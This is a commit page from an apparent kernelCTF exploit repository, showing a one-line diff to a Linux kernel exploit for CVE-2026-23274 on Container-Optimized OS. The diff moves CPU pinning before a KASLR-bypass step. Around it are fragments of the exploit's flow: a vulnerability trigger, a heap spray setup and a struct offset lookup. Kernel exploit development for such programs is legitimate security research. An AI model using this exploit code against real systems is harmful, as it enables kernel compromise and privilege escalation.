Skip to content

Commit 58cac8d

Browse files
wip: kaslr, I trully have NO IDEA why this exp works perfectly on kctf but NEVER works on CI
1 parent 55f44d3 commit 58cac8d

1 file changed

Lines changed: 1 addition & 1 deletion

File tree

  • pocs/linux/kernelctf/CVE-2026-23274_cos/exploit/cos-113-18244.582.2

pocs/linux/kernelctf/CVE-2026-23274_cos/exploit/cos-113-18244.582.2/exploit.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -488,6 +488,7 @@ int main(int argc, char **argv) {
488488
if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) {
489489
return trigger_vuln();
490490
}
491+
pin_to_cpu(1);
491492
kaslr = bypass_kaslr();
492493
printf("[+] KASLR slide: 0x%lx\n", kaslr);
493494
init_libxdk();
@@ -502,7 +503,6 @@ int main(int argc, char **argv) {
502503
g_target->GetFieldOffset("idletimer_tg", "timer.flags") / sizeof(uint64_t);
503504

504505
system("echo 233 > /tmp/frank"); // for setxattr spray
505-
pin_to_cpu(1);
506506
NPERM();
507507
puts("NPERM done.");
508508

0 commit comments

Comments
 (0)